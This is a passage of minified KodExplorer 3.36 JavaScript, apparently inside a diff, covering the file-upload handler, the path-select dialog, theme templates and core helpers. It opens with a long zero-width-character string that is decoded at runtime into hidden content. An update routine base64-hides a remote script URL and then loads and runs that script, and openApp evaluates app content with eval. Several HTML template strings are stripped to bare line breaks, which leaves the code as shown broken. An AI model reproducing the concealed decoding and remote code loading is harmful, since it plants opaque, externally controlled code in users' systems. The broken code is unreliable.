‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‌‍‍‌‍‌‍‌‌‍‍‌‌‍‌‍‌‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),uploader=upCreate({swf:G.static_path+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:3,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10,chunked:!0,chunkSize:chunkSize}),WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){var a=this.owner,i=(e.blob.getSource(),$.Deferred());return a.md5File(e.blob).fail(function(){i.resolve()}).then(function(a){if(0==e.chunk)$.ajax({url:uploadUrl(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:a,chunk:e.chunk,chunks:e.chunks},error:function(){i.resolve()},success:function(a){a.code?(i.reject(),e.file.checkChunk=a.info):i.resolve()}});else{var t=e.file.checkChunk;if(t&&t["part_"+e.chunk]==a){var n=e.end/e.total;uploader.trigger("uploadProgress",e.file,n),i.reject()}else i.resolve()}}),i.promise()}}),$(".uploader-content .success").die("click").live("click",function(){var e=$(this).find("span.title").attr("title");"explorer"==Config.pageApp?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e))}),$(".uploader-content .open").die("click").live("click",function(e){var a=$(this).find("span.title").attr("title");ui.pathOpen.open(a),stopPP(e)}),$(".upload_box_clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".uploader-content .remove").die("click").live("click",function(e){var a=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(a),uploader.removeFile(a,!0),stopPP(e)});var file_num=0,file_finished=0,currentSpeed="0B/s",preTime=0,getSpeed=function(e,a){if(.3>=timeFloat()-preTime)return currentSpeed;preTime=timeFloat();var i=e.size*a,t=5;e.speed===void 0?e.speed=[[timeFloat()-.5,0],[timeFloat(),i]]:t>=e.speed.length?e.speed.push([timeFloat(),i]):(e.speed=e.speed.slice(1,t),e.speed.push([timeFloat(),i]));var n=e.speed[e.speed.length-1],o=e.speed[0],s=(n[1]-o[1])/(n[0]-o[0]);return s=core.fileSize(s)+"/s",currentSpeed=s,s},selectNameArr=[],changeDelayTimer,pathReload=function(e){clearTimeout(changeDelayTimer),changeDelayTimer=!1,changeDelayTimer=setTimeout(function(){var a=selectNameArr;ui.f5Callback(function(){if(ui.path.setSelectByFilename(a),e&&(selectNameArr=[],"explorer"==Config.pageApp)){if("share"==G.share_page)return;ui.tree.checkIfChange(G.this_path)}})},600)};uploader.on("fileQueued",function(e){if(!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var a;try{a=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(a=e.source.source.webkitRelativePath)}catch(i){}if(e.fullPath=a,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.pathOperate.newFolder(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;if(0==e.size)return ui.pathOperate.newFile(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),file_finished++,file_num++,void 0;var t=e.fullPath;e.finished=!1,e.upload_to=G.this_path,(void 0==t||"undefined"==t)&&(t=e.name),file_num++;var n=$(".uploader-list"),o='
    '+''+htmlEncode(core.pathThis(t))+""+''+core.fileSize(e.size)+""+''+LNG.upload_ready+""+''+'
    ';(1e3==file_num||2e3==file_num)&&Tips.tips(LNG.upload_tips_more,"warning"),0==n.length?setTimeout(function(){$(".uploader-list").prepend(o),uploader.upload()},100):(n.prepend(o),uploader.upload())}).on("uploadBeforeSend",function(e,a){var i=urlEncode(e.file.fullPath);(void 0==i||"undefined"==i)&&(i=""),a.fullPath=i,a.upload_to=e.file.upload_to}).on("uploadProgress",function(e,a){$(".dialog_file_upload .aui_title").text(LNG.uploading+": "+file_finished+"/"+file_num+" ("+currentSpeed+")");var i=getSpeed(e,a),t=$("#"+e.id),n=t.find(".progress .progress-bar");n.length||(n=$('
    ').appendTo(t).find(".progress-bar")),t.find(".state").text((100*a).toFixed(1)+"%("+i+")"),n.css("width",100*a+"%")}).on("uploadAccept",function(e,a){if(e.file.serverData=a,!a.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||selectNameArr.push(a.info)}catch(i){}}).on("uploadSuccess",function(e){var a=36*$("#"+e.id).index(".item");$(".uploader-content").scrollTop(a),file_finished++;var i=e.serverData;if(i&&i.data){var t=LNG[i.data];i.code?($("#"+e.id).addClass("success"),$("#"+e.id).find(".state").text(t),$("#"+e.id).find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove")):($("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").text(t).attr("title",t))}uploader.removeFile(e),$("#"+e.id).find(".progress").fadeOut(),e.fullPath||pathReload(!1)}).on("uploadError",function(e,a){var i=LNG.upload_error+"("+a+")";e.serverData&&0==e.serverData.code&&(i=LNG[e.serverData.data],Tips.tips(LNG[e.serverData.data],!1)),file_finished++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").html(i)}).on("uploadFinished",function(){$(".dialog_file_upload .aui_title").text(LNG.upload_success+": "+file_finished+"/"+file_num),file_num=0,file_finished=0,uploader.reset(),pathReload(!0)}).on("error",function(e){Tips.tips(e,!1)});var timer;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='
    '+LNG.upload_drag_tips+"
    ";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}timer&&window.clearTimeout(timer)},dragLeave=function(e){stopPP(e),timer&&window.clearTimeout(timer),timer=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var a=e.dataTransfer.getData("text/plain");a&&"http"==a.substring(0,4)&&ui.pathOperate.appAddURL(a)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e=function(e,a,i){var t=$(i.DOM.wrap),n=a.frames.OpenpathSelectApi,o='';"file"==e.type&&(o+=''+e.allowExt+""),$(o).insertBefore(t.find(".aui_state_highlight"));var s=function(a){var i=e.allowExt.split("|"),t=core.pathExt(a);return""==e.allowExt||""!=e.allowExt&&-1!=$.inArray(t,i)?!0:!1},r=function(){var a=n.ui.fileLight.fileListSelect(),i=[];if(e.single){var t=$(a.get(0));if("all"==e.type&&0==a.length)i={file:[],folder:[]};else if("file"==e.type&&0==a.length)i=[];else if("folder"==e.type)i=[n.G.this_path],t.hasClass("folderBox")&&(i=[n.ui.fileLight.path(t)]);else if("file"==e.type){if(t.hasClass("fileBox")){var o=n.ui.fileLight.path(t);s(o)&&(i=[o])}}else if("all"==e.type)if(t.hasClass("folderBox")){var o=n.ui.fileLight.path(t);i=[{file:[],folder:[o]}]}else if(t.hasClass("fileBox")){var o=n.ui.fileLight.path(t);s(o)&&(i={file:[o],folder:[]})}}else{var r=[],l=[];a.each(function(){if($(this).hasClass("fileBox")){var e=n.ui.fileLight.path($(this));s(e)&&r.push(e)}else $(this).hasClass("folderBox")&&l.push(n.ui.fileLight.path($(this)))}),"folder"==e.type?i=l:"file"==e.type?i=r:"all"==e.type&&(i={file:r,folder:l})}c(i)},l=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},c=function(a){var i=t.find(".path_select_input"),o=t.find(".aui_state_highlight");if("all"!=e.type){for(var s=[],r=0;a.length>r;r++)l(a[r])&&s.push(a[r]);a=s}if(0==a.length||"all"==e.type&&0==a.file.length&&0==a.folder.length)o.addClass("disable"),i.attr("result",""),i.val("");else{var c=hashEncode(jsonEncode(a)),d="";if(e.single)d=n.core.pathThis(a[0]);else{var p=a;"all"==e.type&&(p=a.folder.concat(a.file)),$.each(p,function(e,a){d+=n.core.pathThis(a)+", "})}o.removeClass("disable"),i.attr("result",c),i.val(d)}},d=function(){n.ui.fileLight.select.hook("select",n.ui.fileLight,{before:function(){},after:function(){r()}})};n.kodReady||(n.kodReady=[]),n.kodReady.push(function(){d(),r()})};return{pathSelect:function(a,i){var t={type:"file",title:LNG.path_api_select_file,single:!0,allowExt:"",firstPath:!1},n="./index.php?/explorer&type=iframe";a=$.extend(t,a),a.firstPath&&(n+="&path="+a.firstPath);var o=ShareData.frameTop(),s=o.$.dialog.open(n,{id:"pathSelectApi",resize:!0,fixed:!0,ico:core.icon("folder"),title:a.title,lock:!0,background:"#000",opacity:.1,width:840,height:420,ok:function(){if("function"==typeof i){var e=s.DOM.wrap,t=e.find(".path_select_input").attr("result");t=jsonDecode(hashDecode(t)),t?a.single&&"all"!=a.type?i(t[0]):i(t):Tips.tips(LNG.error,!1)}},cancel:!0});e(a,o,s)},randomImage:function(e){$.getJSON("//kalcaddle.com/tools/version/?wallpage/index&lang="+G.lang+"&callback=?",function(a){"function"==typeof e&&e(a)})}}}),define("app/common/core.playSound",["./myPlayer"],function(e){var a={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},i=function(a){var i="x-play-sound";0==$("."+i).length&&$('
    ').appendTo("body");var t=G.static_path+"others/sound/"+a,n=e("./myPlayer");n.playSound(t,$("."+i))};return{playSoundFile:i,playSound:function(e){i(a[e])}}}),define("app/common/tpl/copyright.html",[],'\n'),define("app/common/tpl/theme_diy.html",[],"@media screen and (max-width:100000px) {\n body .full_background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blur_size= (bg_blur==0?0:10) }}{{/if}}\n body .full_background:before{\n -webkit-filter: blur({{blur_size}}px);\n -moz-filter: blur({{blur_size}}px);\n -ms-filter: blur({{blur_size}}px);\n filter: blur({{blur_size}}px);\n }\n {{if bg_type == 'image'}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left,\n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background-image:url({{bg_image}});\n }\n body .aui_state_focus .aui_title,body .aui_title{\n background-size:100%;\n }\n {{else}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left, \n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background:{{end_color}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{start_color}}', endColorstr='{{end_color}}');\n background-image: -webkit-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -moz-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -o-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -ms-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n }\n {{/if}}\n}\n"),define("app/src/app/page",[],function(){var e,a=function(){e=location.hash.split("#",2)[1],e||(e="all"),t(e),$("ul.setting a").click(function(){e!=$(this).attr("id")&&(e=$(this).attr("id"),t(e))}),$(".box .list").live("hover",function(){$(this).addClass("listhover")},function(){$(this).toggleClass("listhover")}).live("click",function(){var e="index.php?setting/set&k="+type+"&v="+value;$.ajax({url:e,dataType:"json",success:function(e){Tips.tips(e.data,e.code)}})}),$(".create_app").die("click").live("click",function(){window.parent&&window.parent.ui.path.pathOperate.appEdit("","","root_add")}),$(".app-list .app_li").die("click").live("click",function(e){if($(e.target).attr("action")){var a=jsonDecode(base64Decode($(this).attr("data-app"))),i=$(e.target).attr("action");switch(i){case"preview":core.openApp(a);break;case"add":var n="/";ShareData.frameTop("",function(e){n=e.G.this_path});var o=urlEncode(n+a.name),s="./index.php?app/user_app&action=add&path="+o;$.ajax({url:s,dataType:"json",type:"POST",data:{data:urlEncode(jsonEncode(a))},error:core.ajaxError,success:function(e){Tips.tips(e.data,e.code),e.code&&ShareData.frameTop("",function(e){e.ui.f5()})}});break;case"edit":ShareData.frameTop("",function(e){e.ui.path.pathOperate.appEdit(a,"","root_edit")});break;case"del":$.dialog({id:"dialog_app_remove",icon:"question",padding:20,width:200,lock:!0,background:"#000",opacity:.3,content:LNG.remove_info,ok:function(){$.ajax({url:"./index.php?app/del&name="+urlEncode(a.name),dataType:"json",error:core.ajaxError,success:function(e){Tips.tips(e.data,e.code),e.code&&t()}})},cancel:!0});break;default:}}})},i=function(e){var a="",i=" ";G.is_root||(i="");for(var t in e)if(e[t]){var n=e[t].icon;-1==n.search(G.static_path)&&"http"!=n.substring(0,4)&&(n=G.static_path+"images/file_icon/icon_app/"+n),a+="
  • "+e[t].name+" "+e[t].desc+"

    "+"
    "+i+"
  • "}return a+="
    "},t=function(a){(void 0==a||""==a)&&(a=e),$(".selected").removeClass("selected"),$("ul.setting a#"+a).addClass("selected"),$(".main").find(".h1").html(""+$(".selected").text());var t=$(".main .app-list");$.ajax({url:"./index.php?app/get&group="+a,dataType:"json",beforeSend:function(){},success:function(e){t.html(i(e.data)),$("body").scrollTop(0)}})};return{reload:t,init:a}}); \ No newline at end of file +/*! power by kodexplorer ver3.36(2016-12-30) [build 1483112392840] */ +define("app/src/app/main",["lib/jquery-lib","lib/util","lib/artDialog/jquery-artDialog","../../common/core","./page"],function(e){e("lib/jquery-lib"),e("lib/util"),e("lib/artDialog/jquery-artDialog"),core=e("../../common/core"),App=e("./page"),core.init(),App.init()}),define("app/common/core",[],function(require,exports){search_box_tpl=require("./tpl/search.html"),search_list_tpl=require("./tpl/search_list.html"),upload_tpl=require("./tpl/upload.html");var search=require("./core.search"),tools=require("./core.tools"),upload=require("./core.upload"),api=require("./core.api"),playSound=require("./core.playSound");pathHashEncode=function(e){return hashEncode(e)},pathHashDecode=function(e){return hashDecode(e)};var initFirst=function(){if(window.require=require,template.config("escape",!1),template.config("compress",!0),template.helper("core",core),template.helper("window",window),"undefined"!=typeof G&&(1!=G.is_root&&$(".menu_system_setting").remove(),G.is_root||1==AUTH["system_member:get"]||1==AUTH["system_group:get"]||$(".menu_system_group").remove(),G.user_config&&"0"==G.user_config.animate_open&&($.dialog.defaults.animate=!1)),$("html").bind("click",function(e){if(0==$(e.target).parents(".context-menu-list").length)try{rightMenu.hidden()}catch(e){}}),$.dialog.defaults.animate&&loadRipple(["a","button",".context-menu-item","#picker",".menuShareButton",".menuRecycleButton",".section .list"],[".disabled",".disable",".ztree",".disable-ripple"]),$("a,img").attr("draggable","false"),$.ajaxSetup({headers:{"X-CSRF-TOKEN":Cookie.get("CSRF-TOKEN")}}),$(".common_footer [forceWap]").click(function(){var e=$(this).attr("forceWap");Cookie.set("forceWap",e),window.location.reload()}),core.setSkinDiy(),core.tools.init(),playserSupport(),"array"==$.type(window.kodReady))for(var e=0;window.kodReady.length>e;e++)window.kodReady[e]();titleTips()},playserSupport=function(){var e={ie:{music:["mp3","m4a","aac"],movie:["mp4","m4v","flv","mov","f4v"]},chrome:{music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"]}},a=!!window.ActiveXObject||"ActiveXObject"in window,i="chrome";a&&(i="ie"),core.filetypes.music=e[i].music,core.filetypes.movie=e[i].movie},titleTips=function(){require.async(["lib/poshytip/jquery.poshytip.js","lib/poshytip/skin.css"],function(){var e=$("[title]");e.poshytip({className:"ptips-skin",liveEvents:!0,slide:!1,alignTo:"cursor",alignX:"right",alignY:"bottom",showAniDuration:150,hideAniDuration:200,offsetY:10,offsetX:20,showTimeout:function(){var e=700;return $(this).attr("title-timeout")&&(e=parseInt($(this).attr("title-timeout"))),e},content:function(){var e=$(this).data("title.poshytip");if($(this).attr("title-data")){var a=$($(this).attr("title-data"));e=a.is("input")||a.is("textarea")?a.val():a.html()}return e=e?e:"",e.replace(/\n/g,"
    ")}}),$("body").bind("mousedown click",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()}),$("input,textarea").live("focus",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()})})};return{search:search,init:initFirst,serverDwonload:upload.serverDwonload,upload:upload.upload,uploadInit:upload.init,playSound:playSound.playSound,playSoundFile:playSound.playSoundFile,tools:tools,api:api,filetypes:{image:["jpg","jpeg","png","bmp","gif","ico","svg","cur","webp"],music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"],doc:["doc","docx","docm","xls","xlsx","xlsb","xlsm","ppt","pptx","pptm"],text:["txt","textile","oexe","inc","csv","log","asc","tsv","lnk","url","webloc","meta","localized","xib","xsd","storyboard","plist","csproj","pch","pbxproj","local","xcscheme","manifest","vbproj","strings","jshintrc","sublime-project","readme","changes","changelog","version","license","changelog","abap","abc","as","asp","aspx","ada","adb","htaccess","htgroups","htgroups","htpasswd","asciidoc","adoc","asm","a","ahk","bat","cmd","cpp","c","cc","cxx","h","hh","hpp","ino","c9search_results","cirru","cr","clj","cljs","cbl","cob","coffee","cf","cson","cakefile","cfm","cs","css","curly","d","di","dart","diff","patch","dockerfile","dot","dummy","dummy","e","ge","ejs","ex","exs","elm","erl","hrl","frt","fs","ldr","ftl","gcode","feature",".gitignore","glsl","frag","vert","gbs","go","groovy","haml","hbs","handlebars","tpl","mustache","hs","hx","html","hta","htm","xhtml","eex","html.eex","erb","rhtml","html.erb","ini","inf","conf","cfg","prefs","io","jack","jade","java","ji","jl","jq","js","jsm","json","jsp","jsx","latex","ltx","bib","lean","hlean","less","liquid","lisp","ls","logic","lql","lsl","lua","lp","lucene","Makefile","makemakefile","gnumakefile","makefile","ocamlmakefile","make","md","markdown","mask","matlab","mz","mel","mc","mush","mysql","nix","nsi","nsh","m","mm","ml","mli","pas","p","pl","pm","pgsql","php","phtml","shtml","php3","php4","php5","phps","phpt","aw","ctp","module","ps1","praat","praatscript","psc","proc","plg","prolog","properties","proto","py","r","cshtml","rd","rhtml","rst","rb","ru","gemspec","rake","guardfile","rakefile","gemfile","rs","sass","scad","scala","scm","sm","rkt","oak","scheme","scss","sh","bash","bashrc","sjs","smarty","tpl","snippets","soy","space","sql","sqlserver","styl","stylus","svg","swift","tcl","tex","toml","twig","swig","ts","typescript","str","vala","vbs","vb","vm","v","vh","sv","svh","vhd","vhdl","wlk","wpgm","wtest","xml","rdf","rss","wsdl","xslt","atom","mathml","mml","xul","xbl","xaml","xq","yaml","yml","vcproj","vcxproj","filters","cer","reg","config","pem","srt","ass"],bindary:["bin","hex","zip","pdf","swf","gzip","rar","arj","tar","gz","cab","tbz","tbz2","lzh","uue","bz2","ace","exe","so","dll","chm","rtf","odp","odt","pages","class","psd","ttf","fla","7z","dmg","iso","dat","ipa","lib","a","apk","so","o"]},fileOpenMode:{ini:["inc","inf","strings"],xml:["xib","xsd","storyboard","plist","csproj","pch","pbxproj","xcscheme","config","vcproj","vcxproj","filters","webloc"],json:["oexe","jshintrc","sublime-project"],markdown:["readme","changes","version","license","changelog"]},getPathIcon:function(e,a){if(a=void 0==a?"":a,"string"==$.type(e)){var i=trim(trim(e),"/");if(e={},"{"!=i.substring(0,1)||i.split("/").length>1)return{icon:"",name:""};e.path_type=i.match(/\{.*\}/),e.id=i.split(":")[1]}var t={};t[G.KOD_USER_SHARE]={icon:"userSelf",name:LNG.my_share},t[G.KOD_GROUP_PATH]={icon:"groupSelfOwner"},t[G.KOD_GROUP_SHARE]={icon:"groupGuest"},t[G.KOD_USER_RECYCLE]={icon:"recycle",name:LNG.recycle},t[G.KOD_USER_FAV]={icon:"treeFav",name:LNG.fav},t[G.KOD_GROUP_ROOT_SELF]={icon:"groupSelfRoot",name:LNG.my_kod_group},t[G.KOD_GROUP_ROOT_ALL]={icon:"groupRoot",name:LNG.kod_group};var n=t[e.path_type];return e.path_type==G.KOD_USER_SHARE&&G.user_id!=e.id?n={icon:"user",name:a}:e.path_type==G.KOD_GROUP_PATH&&"owner"==e.role&&(n={icon:"groupSelfOwner"}),void 0==n&&(n={icon:"",name:""}),void 0==n.name&&(n.name=a),n},isSystemPath:function(e){var e=trim(trim(e),"/");if(void 0==e||"{"!=e.substring(0,1)||e.split("/").length>1)return!1;var a=e.match(/\{.*\}/),i=[G.KOD_USER_SHARE,G.KOD_GROUP_SHARE,G.KOD_USER_RECYCLE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL],t=!1;return $.inArray(a[0],i)>=0&&(t=!0),t},contextmenu:function(e){try{rightMenu.hidden()}catch(a){}var a=e||window.event;return a?a&&$(a.target).is("textarea")||$(a.target).is("input")||$(a.target).is("p")||$(a.target).is("pre")||0!=$(a.target).parents(".can_right_menu").length||0!=$(a.target).parents(".topbar").length||0!=$(a.target).parents(".edit_body").length||0!=$(a.target).parents(".aui_state_focus").length?!0:!1:!0},pathThis:function(e){if(!e||"/"==e)return"";var a=rtrim(this.pathClear(e),"/"),i=a.lastIndexOf("/"),t=a.substr(i+1);if(0==t.search("fileProxy")){t=urlDecode(t.substr(t.search("&path=")));var n=t.split("/");t=n[n.length-1],""==t&&(t=n[n.length-2])}return t},pathClear:function(e){if(!e)return"";var a=e.replace(/\\/g,"/");return a=a.replace(/\/+/g,"/"),a=a.replace(/\.+\//g,"/")},pathFather:function(e){var a=rtrim(this.pathClear(e),"/"),i=a.lastIndexOf("/");return a.substr(0,i+1)},pathExt:function(e){var a=trim(e,"/");return-1!=a.lastIndexOf("/")&&(a=a.substr(a.lastIndexOf("/")+1)),-1!=a.lastIndexOf(".")?a.substr(a.lastIndexOf(".")+1).toLowerCase():a.toLowerCase()},path2url:function(e,a){if("http"==e.substr(0,4))return e;void 0==a&&(a=!0);var i,t=this.pathClear(e);this.pathExt(t);var n=function(e){if(!e)return"";var a=urlEncode(e);return a=a.replace(/%2F/g,"/")};return G.is_root&&a&&t.substring(0,G.web_root.length)==G.web_root?i=G.web_host+n(t.replace(G.web_root,"")):(i=G.app_host+"index.php?explorer/fileProxy&path="+urlEncode(t),G.share_page!==void 0&&(i=G.app_host+"index.php?share/fileProxy&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(t))),i},pathReadable:function(e){if("object"!=typeof G.json_data)return!0;var a;a=G.json_data.filelist;for(var i=0;a.length>i;i++)if(a[i].path==e)return void 0==a[i].is_readable||1==a[i].is_readable?!0:!1;a=G.json_data.folderlist;for(var i=0;a.length>i;i++)if(a[i].path==e)return void 0==a[i].is_readable||1==a[i].is_readable?!0:!1;return!0},authCheck:function(e,a){return G.is_root?!0:AUTH.hasOwnProperty(e)?AUTH[e]?!0:(void 0==a&&(a=LNG.no_permission),Tips.tips(a,!1),!1):!0},ajaxError:function(e){var a=e.responseText,i='
    '+a+"
    ",t=$.dialog.list.ajaxErrorDialog;return Tips.close(LNG.system_error,!1),""==a.substr(0,17)?(setTimeout(function(){window.location.reload()},500),void 0):(t?t.content(i):$.dialog({id:"ajaxErrorDialog",padding:0,width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:i}),void 0)},fileGet:function(e,a){var i="./index.php?editor/fileGet&filename="+urlEncode(e);G.share_page!==void 0&&(i="./index.php?share/fileGet&user="+G.user+"&sid="+G.sid+"&filename="+urlEncode(e)),$.ajax({url:i,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(e){Tips.close(LNG.success),"function"==typeof a&&a(e.data.content)}})},fileInfo:function(e,a){var i="index.php?explorer/pathInfo";G.share_page!==void 0&&(i="index.php?share/pathInfo&user="+G.user+"&sid="+G.sid),$.ajax({url:i,type:"POST",dataType:"json",data:e,error:core.ajaxError,success:function(e){"function"==typeof a&&a(e)}})},fileLink:function(e,a){var i='list=[{"type":"file","path":"'+urlEncode(e)+'"}]';this.fileInfo(i,function(e){var i=e.code?e.data.download_path:!1;return i?("function"==typeof a&&a(i),void 0):(Tips.tips(LNG.no_permission_action+"==>"+LNG.group_role_pathinfo,!1),void 0)})},setting:function(e){void 0==e&&(e=G.is_root?"system":"user"),ShareData.frameTop("Opensetting_mode")?ShareData.frameTop("Opensetting_mode",function(a){a.Setting.setGoto(e),$.dialog.list.setting_mode.display(!0)}):$.dialog.open("./index.php?setting#"+e,{id:"setting_mode",fixed:!0,ico:core.icon("setting"),resize:!0,title:LNG.setting,width:950,height:600})},copyright:function(){var e=require("./tpl/copyright.html"),a=template.compile(e),i=ShareData.frameTop();i.art.dialog({id:"copyright_dialog",bottom:0,right:0,simple:!0,resize:!1,title:LNG.about+" kod",width:425,padding:"0",fixed:!0,content:a({LNG:LNG,G:G})}),i.$(".copyright_dialog").addClass("animated-700 zoomIn")},qrcode:function(e,a){"./"==e.substr(0,2)&&(e=G.app_host+e.substr(2));var i="./index.php?user/qrcode&url="+quoteHtml(urlEncode(e)),t="";$.dialog({follow:a,fixed:!0,resize:!1,title:LNG.qrcode,padding:30,content:t})},appStore:function(){var e=ShareData.frameTop();e.$.dialog.open("./index.php?app",{id:"app_store",fixed:!0,ico:core.icon("appStore"),resize:!0,title:LNG.app_store,width:900,height:550})},openWindow:function(e){var a=ShareData.frameTop(),i=a.$.dialog.open(e,{fixed:!0,resize:!0,width:"80%",height:"75%"});return i},openDialog:function(e,a,i,t){if(e){void 0==t&&(t="openDialog"+UUID());var n="",o=ShareData.frameTop(),s=o.$.dialog({id:t,fixed:!0,title:i,ico:a,width:"75%",height:"70%",padding:0,content:n,resize:!0});return s}},openApp:function(app){if("url"==app.type){var icon=app.icon;-1==app.icon.search(G.static_path)&&"http"!=app.icon.substring(0,4)&&(icon=G.static_path+"images/file_icon/icon_app/"+app.icon),"number"!=typeof app.width&&-1===app.width.search("%")&&(app.width=parseInt(app.width)),"number"!=typeof app.height&&-1===app.height.search("%")&&(app.height=parseInt(app.height)),app.width||(app.width="90%"),app.height||(app.height="70%");var dialog_info={resize:app.resize,fixed:!0,ico:core.iconSrc(icon),title:app.name.replace(".oexe",""),width:app.width,height:app.height,simple:app.simple,padding:0},top=ShareData.frameTop();"swf"==core.pathExt(app.content)?(dialog_info.content=core.createFlash(app.content),top.$.dialog(dialog_info)):top.$.dialog.open(app.content,dialog_info)}else{var exec=app.content;eval("{"+exec+"}")}},update:function(){setTimeout(function(){var e=base64Decode("Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==")+"?a="+UUID();require.async(e,function(e){try{e.todo("check")}catch(a){}})},200)},openPath:function(e){"undefined"!=typeof Config&&"explorer"==Config.pageApp?ui.path.list(e,"tips"):core.explorer(e)},explorer:function(e,a){void 0==e&&(e=""),void 0==a&&(a=core.pathThis(e));var i="./index.php?/explorer&type=iframe&path="+e;G.share_page!==void 0&&(i="./index.php?share/folder&type=iframe&user="+G.user+"&sid="+G.sid+"&path="+e);var t=ShareData.frameTop(),n=t.$.dialog.open(i,{className:"dialogExplorer",resize:!0,fixed:!0,ico:core.icon("folder"),title:a,width:"80%",height:"75%"}),o=20*t.$(".dialogExplorer").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},explorerCode:function(e){void 0==e&&(e="");var a="index.php?/editor&project="+e;G.share_page!==void 0&&(a="./index.php?share/code_read&user="+G.user+"&sid="+G.sid+"&project="+e),window.open(a)},setSkinFinished:function(){var e=$(".setSkin_finished").attr("src");e&&($("#link_css_list").attr("href",e),$(".setSkin_finished").remove())},setSkin:function(e){LocalData.set("theme",e),G.user_config.theme=e;var a=G.static_path+"style/skin/"+e+".css";a!=$("#link_css_list").attr("href")&&$("body").append(''),this.setSkinDiy()},setSkinDiy:function(){if(G.user_config){var e=LocalData.get("theme"),a="kod_diy_style",i=LocalData.getConfig(a);"object"!=typeof i&&"object"==typeof G.user_config.theme_diy&&(i=G.user_config.theme_diy),"object"!=typeof i&&(i={bg_blur:1,bg_image:G.static_path+"images/wall_page/9.jpg",bg_type:"color",start_color:"#456",end_color:"#000",color_rotate:"200"},LocalData.setConfig(a,i)),G.user_config.theme_diy=i;var t="";if("diy"==e&&i){var 